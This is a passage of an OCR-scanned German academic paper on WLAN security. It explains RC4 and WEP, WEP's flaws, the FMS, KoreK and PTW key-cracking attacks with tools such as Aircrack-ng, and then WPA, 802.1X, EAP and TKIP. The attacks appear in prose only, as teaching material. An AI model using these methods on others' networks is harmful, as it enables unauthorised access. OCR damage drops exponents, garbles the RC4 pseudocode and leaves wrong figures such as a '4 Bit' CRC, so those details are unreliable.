zweiter Array, die so genannte K-Box ins Spiel. Die K-Box erhélt man, in dem man einen
Array mit dem WEP-Schliissel ausfiillt. Der Schliissel wird beliebig oft in der K-Box geschrie-
ben werden, bis sie voll wird. Jetzt wird jedes Byte von der S-Box mit einem anderen nach
dem folgen Algorithmus vertauscht:

i=j=0;

For i=0 to 255 do

j= (j+S[i]+K]i]) mod 256;

Swap S[i] and S[j];

End;

Danach kommt die zweite Phase des Algorithmus ins Spiel, sprich die Pseudozuféllige Gene-
rierungsphase. Jetzt werden die Werte in der S-Box nochmal vertauscht. Eine pseudozufillige
Zahl R wird iterativ erzeugt:

i = (i+1) mod 256;

j= (j+S[i]) mod 256;

swap Sli] and S[jl;

k = (S[i]+S[j]) mod 256;

R = S[k];

Der Klartext wird verschliisselt in dem jedes seiner Bytes mit dem von RC4 erzeugten R-Wert
»XORt* wird.

2.3 Funktionsweise

Will eine Station eine grofle Datenmenge schicken, werden die Daten fragmentiert. Zu je-
dem Datenfragment (Oder zu den Daten wenn sie in ein einziges Paket reinpassen) wird ein
Intergrity Check Value (ICV) hinzugefiigt. Der ICV dienst zur der Entdeckung der Fehler,
die wihrend der Ubertragung auftreten konnen. Nachdem der ICV hinzugefiigt wird, werden
die Daten verschliisselt. Einen Initialisierungsverktor (IV) wird zum WEP-Schliissel hinzu-
gefiigt und der entstandene Schliissel wird kombiniert mit dem RC4-Algorithmus benutzt
um die Daten zu verschliisseln. Ein WEP-Schliissel ist fiir die Authentifikation und die Ent-
schliisselung/Verschliisselung von Daten notwendig. Die vom IEEE802.11-Standard vorgesehe
Schliissellénge ist 40 Bit. Die meisten Hersteller haben die Lénge zu 104 Bit erweitert. Die
40 bzw. 104 Bit werden mit einem 24 Bit langem IV erweitert: Einen statischen Schliissel zu
benutzen stellt ein Risiko dar. Alle Pakete wiirden mit dem selben Schliissel verschliisselt,
was bedeutet dass man fiir eine gewisse Nachricht immer den selben Verschliisselten Text be-
kommt, was es einem Angreifer erheblich leichter macht, den Schliissel zu erraten. Deswegen
wird der IV-Wert sténdig geédndert, so dass ein neuer Wert fiir jedes Paket benutzt wird. WEP
kann gleichzeitig vier verschiedene Schliissel benutzen, was ein Schliissel-Update vereinfacht:
Wenn man einen Schliissel dndert, konnen die anderen Schliissel weiterhin benutzt werden.
Der neue Schliissel kann nachtréglich in allen Geriten eingetragen werden, was bedeutet dass
das Netz wiahrend des Updates funktionsfahig bleibt. Jeder Schliissel hat einen Key-ID. Damit
der Empfianger die Daten entschliisseln kann, werden der IV und der Key-ID unverschliisselt
zu den Daten hinzugefiigt. Einen 4 Bit langen CRC-Wert wird auch fiir jedes Paket berechnet
und am Ende des Paketes geschrieben. Der CRC-Wert wird nach der Verschliisselung iiber
die Daten und den ICV berechnet.

Der Empféanger liest den IV-Wert und den Key-ID und stellt dementsprechend den Schliissel
wieder her. Er entschliisselt die Daten mittels RC4. Die Nachricht wird verworfen wenn der
ICV-Wert nicht passend ist. Andert sich der CRC-Wert, passt er dem Paket nicht mehr und
das Paket wird vom Empfanger verworfen. Ein Hacker konnte aber eine Nachricht dndern,
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den CRC-Wert anpassen und sie wieder schicken und das Paket wiirde als giiltig behandelt
werden. Um das zu verhindern, wird der ICV, der mit der selben Methode wie CRC berechnet
wird, vor der Verschliisselung berechnet und hinzugefiigt.

Daten ICV

Checksum-Berchnung

A
_ > Verschliisselte Versch.
IV | WEP-Schliissel > RC4 Verschlsselung Daten ICV
Algorithmus

L A

IV | Key ID Daten & ICV (VerschlUsselt)

Abbildung 2: WEP-funktionsweise [EdAr03]

2.4 Schwachstellen bei WEP

Die grundlegenden Funktionalitdten bei einem WLAN-Sicherungsprotokoll sind:

e Authentifikation

e Zugriffskontrolle

e Replay-Schutz

e Schutz gegen Nachrichtenénderung

e Vertraulichkeit

WEP ist bei jedem dieser Gebiete an seine Grenzen gestoflen.

2.4.1 Authentifikation

Die Grundanforderungen fiir die Authetifikation in einem WLAN-Netz sind:

1. Robuste Mechanismen, die nicht ,, gespooft* werden kénnen
2. Gegenseitige Authetifikation zwischen dem AP und den mobilen Geréten

3. Von dem Verschliisselungsschliissel unabhéngige Schliissel

WEP versagt bei jedem dieser Punkten: Die WEP-Authentifikation basiert auf ein Challange-
Response Verfahren, bei dem der Verschliisselungsschliissel benutzt wird was die Regel 3)
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verletzt. Bei WEP ist die Authentifikation ein unidirektionales Verfahren: das mobile Gerat
kann den AP nicht authentifizieren was die Regel 2) verletzt.

Auflerdem sendet der AP wéhrend der Authentifikation einen zufélligen Text. Das mobile
Gerit entschliisselt den Text und sendet ihn unverschliisselt zuriick. WEP benutzt fiir die
Verschliisselung den RC4-Algorithmus, der auf XOR-Operationen basiert. Ein auflen stehen-
der Traffic-Beobachter kann den Challenge-Text unverschliisselt und verschliisselt einfangen.
Berechnet ein Angreifer C = P 0 R, wobei P der unverschliisselte Text ist und R der Verschliis-
selte, bekommt er eine Kopie von der vom RC4-Algorithmus zufillig generierte Sequenz C.
Eine Eigenschaft von XOR ist: POR=C - COR=P und POR=C - COP=R, was dazu fiihrt,
dass der Angreifer nun fiir einen vorgegebenen IV-Wert Daten entschliisseln und verschliis-
seln kann. Der Angreifer kann jetzt eine Authenticate-Request an den AP senden, auf den
Challenge-Text warten, den mit der vorberechneten Sequenz C ,XORen“ und das Ergebnis
mit dem vorher angefangenen IV an den AP zuriickschicken. Um das Ergebnis zu iiberpriifen
benutzt der AP den vom Angreifer gewéhlten AP und generiert die selbe RC4-Sequenz C, was
dazu fithrt, dass der Angreifer authentifiziert wird, ohne dass er den WEP-Schliissel kennen
muss.

Ohne den WEP-Schliissel zu knacken kann der Angreifer mit den anderen Knoten im Netz
nicht kommunizieren. Die WEP-Authentifikation bietet aber einem Angreifer mehrere Paare
von verschliisselten Nachrichten und den dazu gehorigen verschliisselten Nachrichten, was der
WEP-Schliissel gefahrdet.

2.4.2 Zugriffskontrolle

Die Zugriffskontrolle ist das Prozess dass einem Gerét die Erlaubnis erteilt, mit dem Netz
zu kommunizieren, was mit der Authentifikation nicht zu verwechseln ist. Bei der Authenti-
fikation wird nur die Identitdt des Gerétes erfahren. Das Gerét erhélt aber keine Erlaubnis,
auf das Netz zuzugreifen. Das IEEE802.11-Standard definiert nicht, wie die Zugriffskontrolle
implementiert werden soll. In der Regel wird der Zugriff auf das Netz kontrolliert, indem
eine Liste von den giiltigen MAC-Adressen im AP gespeichert wird. MAC-Adressen kénnen
aber gedndert werden, deswegen gilt diese Verfahren als unzuverlidssig. Der WEP-Schliissel
ist eigentlich die einzige Verteidigungslinie, die das IEEE802.11 bietet.

2.4.3 Replay-Schutz

WEP hat keinen Replay-Schutz. Das heifit dass man ein altes eingefangenes Paket an den AP
schicken kann, ohne dass der AP erfahrt, dass das Paket alt ist. So kann man neue Requests
mit alten Responses beantworten. Replay-Schutz wurde im WEP einfach nicht vorgesehen.

2.4.4 Schutz gegen Nachrichteninderung

Die Arbeit von Borisov et al. [BoGWO01] stellt eine Bitumkehrungsmethode vor, in der schritt-
weise manche Teile des verschliisselten Textes gedndert werden kénnen. Die Arbeit nutzt aus,
dass die Position des IP-Headers nach der Verschliisselung bekannt ist, weil WEP die Posi-
tionen von den Bytes nicht vertauscht. Der IP-Header hat einen Checksum-Feld. Ein Bit in
dem IP-Header zu #ndern fiihrt zu einem Fehlschlag der Checksum-Uberpriifung. Wenn man
aber auch die Checksum &ndert, konnte die Checksum zum Header angepasst werden und
das geéinderte Paket wird vom Empfanger akzeptiert.

WEP benutzt auch ICV fiir die Nachrichteniiberpriifung. Wenn man Stellen in dem verschliis-
selten Text &ndert, wird der ICV nicht zu dem Klartext passen. Die Logik von WEP ist: der
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ICV ist verschliisselt also man kann ihn nicht &ndern. Die Arbeit von Borisov et al. beweist
dass es moglich ist, trotz der Verschliisselung den ICV-Wert anzupassen. Die CRC-Methode
mit der der ICV berechnet wird ist eine lineare Methode. Es wurde gezeigt, dass es unter
dieser Methode moglich ist zu wissen, welche ICV-Bits zu dndern sind, wenn man ein Bit
der Nachricht d&ndern will. Wenn man eine Nachricht dndern will, muss man nur die Stel-
len im ICV &ndern, die nicht mehr passend sind. Der ICV ist also zwar verschliisselt, diese
Verschliisselung macht ihn aber nicht viel stirker als einen normalen unverschliisselten CRC.

2.4.5 Vertraulichkeit

In der Arbeit von Borisov et al. [BoGWO01]| wurde auch gezeigt, dass wenn man oft genug ein
paar Bits im IP-Header umkehrt und tiberpriift, ob das IP-Header akzeptiert wird, konnte
man eventuell Teile vom Paket entschliisseln.

In einer im Oktober 2000 verdffentlichten Arbeit [Walk00] hat Walker potentielle Schwach-
stellen in WEP vorgestellt. Um Angriffe zu vermeiden muss theoretisch jedes Paket einen
eigenen einmaligen IV haben, was unmoglich ist da der IV nur 24 Bit lang ist. Man kénnte
denken, dass eine zuféllige Generierung von I'Vs eine IV-Wiederbenutzung (auch IV-Kollision
genannt) in einer kurzen Zeit unwahrscheinlich macht, was aber nicht stimmt. Mit einer zu-
falligen Generierung bestehen hohe Chancen dass der IV schnell wieder benutzt wird. Dieses
Phénomen ist in der Mathematik unter dem Namen ,,Geburtstagsparadoxon® bekannt: Die
Wahrscheinlichkeit dass eine Person an dem selben Tag geboren ist wie ich betrigt 1/365. Ich
habe aber 50% Chancen, dass einer aus 25 Leuten seinen Geburtstag am selben Tag wie ich
feiert! Die beste Methode, IVs zu generieren ist also einfach mit jedem Paket den IV-Wert
um 1 zu erhéhen. Eine IV-Kollision tritt also nach 224 Pakete auf. IEEE801.11b-Netze sind
in der Lage, 500 volle Pakete pro Sekunde zu iibermitteln. A 500 Paket pro Sekunde wird
ein IV nach hochstens sieben Stunden wieder benutzt. IV-Konflikte verursachen ernste Si-
cherheitsprobleme: Wenn man die zu einem IV gehoérige RC4-Sequenz kennt, kann man jedes
Paket, dass den selben IV benutzt entschliisseln. Um jede beliebige Nachricht zu entschliisseln
muss man alle moégliche Sequenzen haben, was nur 23 GBytes erfordert. Man muss aber alle
Sequenzen berechnen (wie bei 2.4.1 gezeigt wurde) was nicht leicht ist.

Angenommen man hat 2 Nachrichten die mit dem selben (IV,WEP-Schliissel) Paar verschliis-
selt sind. Seien C1 und C2 die unverschliisselten Nachrichten, P1 und P2 die Verschliisselten
und Ks der Key Stream. C1 = P10KSs und C2 = P20Ks. Also C10C2 = (P10Ks)O(P20Ks)
= P10P20KsOKs = P10OP2. Man hat jetzt einen Text, der das Ergebnis von der Operation
XOR der beiden unverschliisselten Texten ist. Der Wert von manchen Stellen in dem Klartext
ist bekannt, wie z.B. manchen Stellen in den Headern. Der Wert von anderen Stellen ist nicht
bekannt, es ist aber bekannt, welche Werte sie haben kénnen, wie z.B. die IP-Adressen-Felder,
die nur bestimmte Werte in einem Netz haben kénnen. Wenn man genug Pakete sammelt,
bei denen einen IV-Konflikt auftritt, konnte man den Werte einige Teile der RC4-Sequenz
erraten und Schritt fiir Schritt die ganze Sequenz.

Das kryptographische Hauptproblem liegt aber nicht daran, dass die IVs relativ schnell wie-
derbenutzt werden, sondern an ihrer Rolle in der Erzeugung einer Klasse von RC4-schwachen
Schliisseln. Es wurde in der Arbeit von Fluhrer et al. [FIMSO01]| gezeigt, dass bei manchen
Schliisseln, die man als schwach bezeichnet, eine grofie Anzahl von Bits in den ersten Bytes
der RC4-Sequenz nur von wenigen Bits in dem WEP-Schliissel abhéngig sind. Das heif}t,
manche Bits im Schliissel wirken auf die Verschliisselung mehr als die Anderen. Manche Bits
haben gar keine Wirkung auf die Verschliisselung, was die Anzahl der effektiven Bits redu-
ziert, was einen Angriff auf den Schliissel vereinfacht. Was noch alles schlimmer macht ist
dass manche Stellen in dem verschliisselten Text einfach zu erraten sind. Das LLC-Header
beginnt z.B. immer mit dem Hexadezimalen Wert ,AA“. Wenn man den unverschliisselten
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Text kennt kann man die RC4-Sequenz ableiten und nachher den WEP-Schliissel. Um diese
Schwiiche zu beseitigen wire es ausreichend, die ein paar ersten generierten R-Werte zu ver-
werfen, was WEP nicht macht. WEP fordert sogar die Generierung von schwachen Schliisseln
mit dem Hinzufiigen von IVs: Sogar wenn der WEP-Schliissel nicht schwach ist, ein schwacher
Schliissel kann beim Hinzufiigen von manchen IVs generiert werden.

2.5 Direkte Schliisselattacken

Es war nur eine Frage der Zeit, bis man WEP véllig knackt, in dem man Verfahren ent-
wickelt, die systematisch den Schliissel herauskriegen. Hier werden drei der bekannsten und
effektivsten Angriffe vorgestellt.

2.5.1 FMS-Attacke

Diese Attacke basiert auf die von der Arbeit von Fluhrer et al. [FIMSO01] vorgestellten WEP-
Schwachstellen. Angenommen der Wert von den ersten Bits ist bekannt, was wegen des LLC
SNAP Headers der Fall bei IEEE802.11 ist. Der Angreifer wartet auf die Pakete, bei denen
das Hinzufiigen vom IV einen schwachen Schliissel verursacht. Weil der Schliissel schwach
ist, gibt es nur wenige mogliche Werte fiir den ersten Byte des WEP-Schliissels, die in Frage
kommen koénnen, damit der verschliisselte Text dem Klartext passt. Nach 60 solchen Paketen
kann der Angreifer mit einer relativ hohen Trefferquote den ersten Byte erraten. Der Schliissel
wird danach Byte fiir Byte geknackt.

Fiir diese Attacke sind 5 bis 10 Millionen Datenpakete erforderlich. Der Angriff dauert bei
einem 104-Bit-Schliissel 2,5 mal linger als bei einem 40-Bit-Schliissel. Mit dem Tool Airsnort
kann diese Attacke ausgefiithrt werden.

2.5.2 Korek-Attacke

Diese Attacke wurde in einem Forum von einem Benutzer Namens KoreK verdffentlicht
[Kore04]. Die KoreK-Attacke ist eine statische Attacke die nur die IVs benutzt um den Schliis-
sel zu knacken. Das heifit dass jedes Paket mit einem einmaligen IV benutzt werden kann,
abgesehen davon ob ein Schwacher RC4-Schliissel auftritt oder nicht.

Bei diesem Angriff wird das letzte Byte eines WEP-Paket abgeschnitten. Jetzt berechnet
man erneut unter Annahme einer abgeschnittenen 0 den CRC und schickt das gednderte
Paket an den AP. Wir das Paket akzeptiert wird davon ausgegangen, dass das letzte Byte
0 war. Wenn das Paket verworfen wird, nimmt man an, dass das abgeschnittene Byte 1 war
und berechnet man wieder den CRC. Im schlechtesten Fall muss man alle Werte von 0 bis
256 durchprobieren. Dieser Vorgang wird fiir jedes Byte des Paketes wiederholt bis man das
unverschliisselte Paket erhélt. Und dann berechnet man die dazu gehorige RC4-Sequenz.

Man braucht um die 250.000 IVs fiir einen 40-Bit-Schliissel und mindestens 1.000.000 IVs
fiir einen 128-Bit-Schliissel. Je mehr Pakete mit einmaligen IVs man sammelt desto mehr
Chancen hat man, den WEP-Schliissel zu knacken. Die KoreK-Attacke ist schneller als die
FMS-Attacke und kann mit dem Tool Aircrack ausgefithrt werden.

2.5.3 Weiterentwickelte Klein-Attacke: die PTW-Attacke

Die Klein-Attacke [A.KI06] erweitert die FMS-Attacke, so dass ein Angriff nicht mehr auf
das Auftreten eines schwachen Schliissels angewiesen ist. Diese Attacke funktioniert nur in
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WLAN-Netzwerken, in denen IPv4 im Einsatz ist: In solchen Netzen sendet ein Host eine
ARP-Request um die MAC-Adresse des Kommunikationspartners zu erfahren. Der Partner
antwortet mit einer ARP-Replay. ARP-Pakete werden nicht , getimeoutet und haben eine
feste Lange. Thre ersten 16 Bytes sind konstant. Auflerdem sind die Replay- und Request-
Pakete identisch bis auf einem Byte. Wenn man das Verschliisselte Paket mit den bekannten
Bytes ,XORt“, kann man die ersten 16 Bytes von der RC4-Sequenz erhalten. Der Schliissel
wird danach Byte fiir Byte geknackt. Die Attacke kann man beschleunigen indem man ARP-
Request-Pakete ,,re—injectet“ﬁ oder mit einem Deauthentification-Angriff ﬁ um die Clients
zu zwingen, sich immer und wieder mit dem AP zu assoziieren, was ARP-Pakete generieren
wird.

Ein Team von der Uni Darmstadt hat diese Attacke weiterentwickelt [TeWPO07]. Die neue
Attacke wurde PTW-Attacke genannt. Mit einer PTW-Attacke is es moglich, den WEP-
Schliissel in weniger als einer Minute zu knacken. Die PTW-Attacke ist effektiver als die Klein-
Attacke da sie jedes Byte vom Schliissel unabhéingig von den Anderen berechnet und weil sie
Fehlertolerant ist. Diese Attacke hat einen so niedrigen Aufwand, dass sie auf einem PDA
ausfithrbar ist. Tools die diese Attacke unterstiitzen sind z.B. Aircrack-PTW und Aircrack-ng
ab der Version 0.9.

3 IEEE802.11i, WPA, RSN

Nachdem WEP vollig gebrochen wurde, hat das IEEE daran gearbeitet, neue Standards fiir Si-
cherheitsprotokolle zu entwerfen: IEEE802.11i wurde geboren. Dieser Standard definiert einen
neuen Typ von drahtlosen Netzwerken, den so genannten Robust Security Networks (RSN).
Weil viele alte Geréite nicht RSN-tauglich sind und trotzdem weiterbenutzt werden sollen,
wurde im TEEE802.11i ein vorldufiger Typ von Netzwerken definiert, die so genannten Tran-
sitional Security Networks (TSN). In so einem Netz kénnen RSN- Und WEP-Systeme parallel
benutzt werden. Das wiirde aber bedeuten, dass viele alte Geréite immer noch nur das unsi-
chere WEP benutzen kénnten. Deswegen wurde nach einer Software-Update-Moglichkeit fiir
alte RSN-unfidhige Geriite gesucht, die die Fiéhigkeiten solcher Geréten in Riicksicht nimmt.
Dies hat zu der Definition von dem Temporal Key Integrity Protocol (TKIP) gefithrt. TKIP
ist als optionaler Modus unter RSN erlaubt. Die Wi-Fi Allianz hat TKIP adoptiert und hat
unter Beriicksichtigung des damaligen TEEE802.11i-Entwurf eine neue Sicherheitslosung fiir
WEP-Gerite entwickelt, das so genannte Wi-Fi Protected Access (WPA). WPA kann nur
TKIP benutzen, AES kann aber unter RSN auch benutzt werden.

RSN und WPA haben die selbe Sicherheitsarchitektur. WPA kann aber, im Gegensatz zu
RSN, bei einem AD-HOC Netz nicht angewendet werden. Mit IEEE802.11i wurde eine neue
Schliisselhierarchie eingefiihrt und der Sicherheitsmodell wurde in drei Schichten unterteilt:

e WLAN-Schicht: zustédndig fiir Nachrichtenaustausch und Entschliisselung/Verschliisse-
lung von Daten.

e Zugriffskontrolle-Schicht: zustéindig dafiir, zu verhindern, dass Daten unberechtigten
Gerdten geschickt werden bzw. dass diese Gerite Daten schicken kénnen. Die Funkti-
onsweise dieser Schicht wurde im IEEE802.11X standardisiert.

e Authentifikationsschicht : Zustéandig fiir die Authentifikation von Gerédten. Der Vertreter
dieser Schicht konnte eine im AP gespeicherte Liste von giiltigen MAC-Adressen oder
ein dedizierter Authentifikationsserver sein.

!Man schickt ein angefangenes Paket an den AP wieder. Das ist moglich da kein Replay-Schutz in WEP
vorgesehen wurde.

2ein Deauthentification-Angriff erlaubt dem Angreifer, ein mit dem AP assoziiertes Geriit zu deassoziieren.
Diese Attacke wird z.B. von aireplay-ng unterstiitzt
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Aus der Clientsicht gehort die WLAN-Karte zum WLAN-Schicht. Die Zugriffskontrolle und
die Authentifikation sind im Betriebssystem implementiert, oder fiir alte Geréte in der Anwen-
dungsschicht-Software, die vom Hersteller implementiert werden muss. Der Supplicant ist
das Betriebsystemprogramm, das die Zugriffskontrolle verwaltet. Auf der Serverseite ist der
Authenticator die Einheit, die die Zugriffskontrolle verwaltet, und der Authorizer die Einheit,
die Entscheidet, ob der Supplicant akzeptiert wird.

3.1 Zugriffskontrolle

Bei WPA und RSN lauft die Zugriffskontrolle wie folgendes ab:

Der Authenticator wird vom Supplicant alarmiert.

Der Supplicant identifiziert sich.

Der Authenticator fordert von dem Authorizer eine Erlaubnis an.

Der Authorizer trifft die Entscheidung.

der Authenticator ldsst dem Supplicant zu oder blockiert ihn.

WPA und RSN unterstiitzen fiir die Zugriffskontrolle IEEE802.1X und EAP. RADIUS ist bei
WPA und RSN optional.

3.1.1 IEEE802.1X

IEEES02.1X implementiert die Zugriffskontrolle in dem Punkt, wo ein Benutzer mit dem
Netz verbunden ist, auch Port genannt. Dieser Standard wurde urspriinglich nicht fiir WLAN
entworfen, sondern fiir iibliche LAN-Netzwerke. Er wurde entwickelt um die Ports bei einem
geswitschten Ethernet zu schiitzen.

Der Standard wurde angepasst, in dem der AP fiir jeden Supplicant einen logischen Port
und einen dazugehorigen Authenticator erzeugt. Jeder Authenticator ist fiir die Zugriffskon-
trolle des zugehorigen Supplicants zustindig. Der Supplicant eines neuen Gerét schickt eine
Zugriffsanforderung an den Authenticator, der im AP die Verbindung steuert. Da es keinen
physikalischen Authenticator oder Switch gibt, ist die Anzahl der IEEE802.1X-Einheiten und
die Anzahl der verbundenen Geriten gleich ist.

Der Authentifikationsserver kann entweder ein dedizierter Server sein oder ein Prozess im AP
(Lesen aus einer Liste von MAC-Adressen z.B.). RADIUS kénnte benutzt werden wenn der
AP und der Authentifikationsserver getrennt sind.

3.1.2 EAP

EAP erlaubt zwei getrennten Einrichtungen, Nachrichten iiber die zu benutzene Authentifika-
tionsmethode auszutauschen. EAP wird von allen Upper-Leyer Authentifikationsmethoden,
wie SSL, TLS und Kerberos V5, benutzt. EAP wurde urspriinglich fiir Dial-up Netze ent-
worfen. IEEE802.1X definiert ein Protokoll namens EAP over LAN (EAPOL), damit der
Supplicant und der Authenticator untereinander EAP-Nachrichten austauschen kénnen. Die
Authentifikation mit IEEE802.1X und EAP lduft wie folgendes ab:
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e Wenn ein Supplicant sich mit dem AP verbinden will, muss er darauf dem AP aufmerk-
sam machen, in dem er sich er sich mit dem AP assoziiert oder ihm eine EAPOL-Start
Nachricht schickt. Der logische Port wird erzeugt.

e Der Authenticator antwortet mit einer EAP-Request/identity Nachricht. Dieser Schritt
kann iibersprungen werden falls der Authenticator die Identitét des Supplicants anderes
erfahren kann.

e Der Supplicant antwortet mit einer EAP-Response/Identity. So ist es moglich, dass der
AP und das Gerit sich gegenseitig die Identitdt beweisen. Die Identitdt vom AP kann
jetzt vom Supplicant iiberpriift werden.

e Nur jetzt kommt der Authentifikationsserver ins Spiel. Die Identitdt des Supplicants
wird ihm tibermittelt und er entscheidet, ob er ins Netz darf. Um zu vermeiden, dass im
Authenticator alle Authentifikationsmethoden implementiert werden miissen, werden
die EAP-Nachrichten, die in der Authentifikation benutzt werden direkt dem Server
iibermittelt.

3.1.3 RADIUS

Obwohl RADIUS nicht zum IEEE802.11i-Standard gehort, wird es von vielen Implementie-
rungen dieses Standards benutzt um die Kommunikation zwischen dem AP und dem Authen-
tifikationsserver zu realisieren. RADIUS definiert eine Menge von gemeinsamen Funktionali-
taten, die gleich bei allen Authentifikationsservern sind, und ein Protokoll dass die Benutzung
von diesen Funktionalititen ermoglicht. RADIUS wurde vom IETF spezifiziert und ist fiir
alle TCP/IP Netzwerke geeignet. RADIUS wurde auch urspriinglich fiir Dial-up Netzwerke
entworfen. Es kapselt die EAP-Nachrichten und transportiert sie zwischen dem AP und dem
RADIUS-Server.

Kapselung in Kapselung in
EAPOL RADIUS
Client EAPOL-Start | ap EAP-Stat | RADIUS-Server
Client |e—RAldently | zp | (Roidentity RADIUS-Server
Identity
Client ldentity | Ap Usemame |  RADIUS-Server
. Request Request
Client |- AP = RADIUS-Server
I [ I
| | |
| | |
| | |
| | |
Client |—2uccess AP |—Success RADIUS-Server

Abbildung 3: EAP iiber RADIUS [EdAr03]
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3.2 WPA
3.2.1 Schiliisselhierarchie

WPA unterstiitzt folgende Schliisselarten:

e Der Pairwise-Schliissel wird benutzt um die Kommunikation zwischen dem AP und
einem mobilen Gerit gegen Angriffe zu schiitzen.

e Fiir Broadcast und Multicast Nachrichten wird ein Gruppenschliissel benutzt, der allen
Gruppenmitgliedern bekannt ist. Die Broadcast-Gruppe enthélt alle Netzknoten.

e Ein Preshared-Schliissel (PSK) ist ein im AP und in allen mobilen Geréten installierter
Schliissel, der mit einer nicht im IEEE801.11i beschriebene Methode verteilt werden
muss.

e Ein Server-basierter Schliissel kommt im Falle einer Upper-Layer Authentifikation vor.
Er wird generiert, wenn der vom Client gegebene Schliissel mit dem im Server gespei-
cherten Schliissel iibereinstimmt.

Die Pairwise-Schliissel lassen sich nach einer bestimmten Hierarchie organisieren. Der Pair-
wise Master Key (PMK) ist ganz oben in der Hierarchie. Er kann ein Preshared-Schliissel
oder ein Server-Basierter Schliissel sein. Im Falle einer Server-Basierten Authentifikation hat
jedes Gerit seinen eigenen PMK. Alle anderen Pairwise-Schliissel lassen sich aus dem PMK
ableiten. In einer Server-basierten Authentifikation muss der neu generierte PMK dem AP
iibermittelt werden. Im WPA geschieht das via RADIUS. Der PMK ist 32 Byte lang und
wird nicht direkt in der Verschliisselung benutzt. Eine Menge von Schliisseln wird aus ihm
abgeleitet um alle Verbindungen zu schiitzen. Vier Schliissel werden erzeugt:

e Der Data Encryption Schliissel (128 Bit)

e Der Data Intergrity Schliissel (128 Bit)

e Der EAPOL key Encryption Schliissel (128 Bit)
e Der EAPOL key Integrity Schliissel (128 Bit)

Alle vier Schliissel sind temporir und werden jedes Mal, dass das Gerét sich mit dem AP
verbindet, neu generiert. Sie haben jedes Mal neue Werte. Die ersten zwei Schliissel dienen
zur Verschliisselung von Daten und zum Schutz gegen Nachrichtenénderung. Die beiden an-
deren Schliissel sichern wihrend des Zugriffskontrolle-Handshakes die Verbindung zwischen
dem mobilen Gerat und dem AP. Um zu erreichen, das die temporéren Schliissel jedes Mal
mit neuen Werten erzeugt werden, werden im Erzeugungsprozess jedes Mal zwei neue Werte
benutzt, die so genannten Nonces. Der Wert von einem Nonce wird zufillig generiert. Ein
Nonce-Wert darf aber nicht zwei Mal mit dem selben Schliissel benutzt werden. Die tem-
porédren Schliissel sind in den beiden Kommunikationspartner zu finden weil jeder von den
Beiden eine Kopie erzeugt: Jedes Gerit generiert einen Nonce, schickt den an das andere Ge-
riat und generiert die Schliissel. Fiir die Generierung werden die beiden Nonces und die beiden
MAC-Adressen benutzt, um zu gewéhrleisten, dass die Schliissel nur von den beiden Geréten
generiert werden konnen. FEin Geriit ist vertrauenswiirdig nur wenn er beweisen kann, dass er
eine Kopie des PMKs hat, indem es die temporéren Schliissel richtig generiert. Das Schliis-
selgenerienrungsprozess ist ,,4 way exchange“ genannt und wird mittels einer besonderen Art
von EAPOL-Nachrichten, die so genannten EAPOL-Key-Nachrichten, realisiert. Der 4 way
exchange lduft wie folgendes ab: Erstens werden die beiden Nonces unabhéngig voneinander
generiert. Der Authenticator-Nonce ist Anonce genannt, der vom Supplicant Snonce. Und
dann werden die folgenden Nachrichten getauscht:
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e Nachricht (A): Authenticator — Supplicant: Diese Nachricht enthilt den Anonce-Wert.
Diese Nachricht wird unverschliisselt iibertragen und hat keinen Anderungsschutz. Wenn
sie gedéindert wird, schligt den Handshake ohne Gefahr fehl. Jetzt hat der Supplicant
alle erforderliche Angaben fiir die Schliisselgenerierung, sprich den PMK, die beiden
MAC-Adressen und die beiden Nonces.

e Nachricht (B): Supplicant — Authenticator: Diese Nachricht enthélt den Snonce damit
der Authenticator die temporéaren Schliisseln generieren kann. Diese Nachricht wird un-
verschliisselt iibertragen und enthilt einen Message Integrity Code (MIC) um Ubertra-
gungsfehler zu vermeiden. Um den MIC zu berechnen wird den EAPOL-Key-Integrity
Schliissel benutzt, und so kann der Authenticator erfahren, ob der Supplicant den PMK
hat. Wenn nicht schlagt den MIC-Check fehl.

e Nachricht (C): Authenticator — Supplicant: Der Authenticator informiert den Sup-
plicant, das er jetzt bereit ist, die neuen Schliissel fiir die Verschliisselung zu benut-
zen. Diese Nachricht enthélt auch einen MIC, damit der Supplicant nachpriifen kann,
ob der Authenticator den giiltigen PMK hat. Eine alte Nachricht (C) kann nicht ,re-
played“ werden, da die Nonces jedes Mal neue Werte haben. Diese Nachricht ist auch
unverschliisselt. Der Authenticator installiert die neuen Schliisseln nur wenn er die letzte
Nachricht(D) erhélt: Wenn die Nachricht (C) nicht erfolgreich iibermittelt wurde, muss
sie nochmal unverschliisselt gesendet werden.

e Nachricht (D): Supplicant — Authenticator: Diese Nachricht beendet den 4 way Hands-
hake und weist hin, dass der Supplicant jetzt die Schliisseln installiert hat und dass er die
Verschliisselung anfangt. Diese Nachricht ist unverschliisselt. Erhélt der Authenticator
diese Nachricht, installiert er die Schliissel.

Jetzt miissen nur die Gruppenschliissel gesetzt werden. Dies lduft wie folgendes ab:

e Ein 256 Bit langer Group Master Key (GMK) wird erzeugt.
e Ein 256 Bit langer Group Transit Key (GTK) wird aus dem GMK abgeleitet.

e Nachdem eine sichere Pairwise-Verbindung erstellt wird, wird der GMK dem neuen
Gerét mit einer aktuellen Sequenznummer geschickt und wird auf die Acknowledge-
Nachricht gewartet.

3.2.2 TKIP

TKIP ist das von WPA zur Paketverschliisselung benutzte Protokoll. Es wurde entworfen,
um die Sicherheitsliicken bei WEP durch einen Software-Update zu beseitigen, damit die
WEP-Hardware weiterbenutzt werden kann. TKIP benutzt auch RC4 fiir die Verschliisselung.
Bei TKIP sind Nonce und IV &quivalente Begriffe. Der IV wird mit jedem Paket um 1
inkrementiert und darf nicht mehr zuféllig gewdhlt werden. Die IV-Linge wurde um 32 Bit
erhoht. Die neue IV-Lénge betrdgt 56 Bit. Es werden aber nur 48 Bit benutzt und ein Byte
wird ,,weggeworfen* um das Auftreten von schwachen Schliisseln zu vermeiden, was aber eine
ausreichende Lange ist: In einem Netz wo 10000 Packte pro Sekunde gesendet werden, wird
ein IV-Konflikt nach weniger als halbe Stunde auftreten, das geschieht nach 900000 Jahren
mit einem 48 Bit langem IV, was das Problem von IV-Konflikte 16st aber ein neues Problem
verursacht: die alte WEP-Hardware kann nur 24-Bit-IVs behandeln. Deswegen wird der neue
IV in zwei geteilt: die ersten 16 Bits des IVs werden zu 24 Bits mit einer Methode erweitert,
die das Erzeugen von Schwachen Schliisseln vermeidet. Diese 24 Bits werden WEP-&hnlich
von RC4 benutzt, aber nicht mit dem iiblichen Geheimschliissel: ein gemischter Schliissel wird
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aus den MAC-Schliisseln, dem Verschliisselungsschliissel und dem IV generiert. So erreicht
